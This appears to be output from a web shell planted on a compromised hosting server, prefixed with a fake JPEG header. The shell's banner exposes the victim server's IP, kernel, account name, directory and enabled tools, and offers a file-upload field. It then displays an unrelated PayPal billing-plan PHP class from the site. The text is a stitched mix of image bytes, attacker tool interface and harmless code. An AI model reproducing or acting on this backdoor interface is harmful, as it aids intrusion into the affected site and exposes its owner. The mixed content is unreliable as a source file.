����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/common/Billing/Gateways/Paypal/ |
Upload File : |
<?php
namespace Common\Billing\Gateways\Paypal;
use Omnipay\PayPal\Message\AbstractRestRequest;
/**
* PayPal REST Fetch Plan Request
*
* To get details about PayPal plans
*
* Example
*
* <code>
* // Fetch PayPal Plan
* $transaction = $this->gateway->fetchPlan([
* 'planId' => 'P-000000000000000000000000',
* ]);
* $response = $transaction->send();
* $data = $response->getData();
* echo "Gateway getPlan response data == " . print_r($data, true) . "\n";
* </code>
*
* @link https://developer.paypal.com/docs/api/payments.billing-plans/#billing-plans_get
*/
class PaypalFetchPlanRequest extends AbstractRestRequest
{
/**
*
* Get the plan ID
*
* @return string
*/
public function getPlanId()
{
return $this->getParameter('planId');
}
/**
* Set the plan ID
*
* @param string $value
* @return PaypalFetchPlanRequest
*/
public function setPlanId($value)
{
return $this->setParameter('planId', $value);
}
public function getData()
{
$this->validate('planId');
return array();
}
/**
* Get HTTP Method.
*
* The HTTP method for list plans requests must be GET.
*
* @return string
*/
protected function getHttpMethod()
{
return 'GET';
}
public function getEndpoint()
{
return parent::getEndpoint() . '/payments/billing-plans/' . $this->getPlanId();
}
}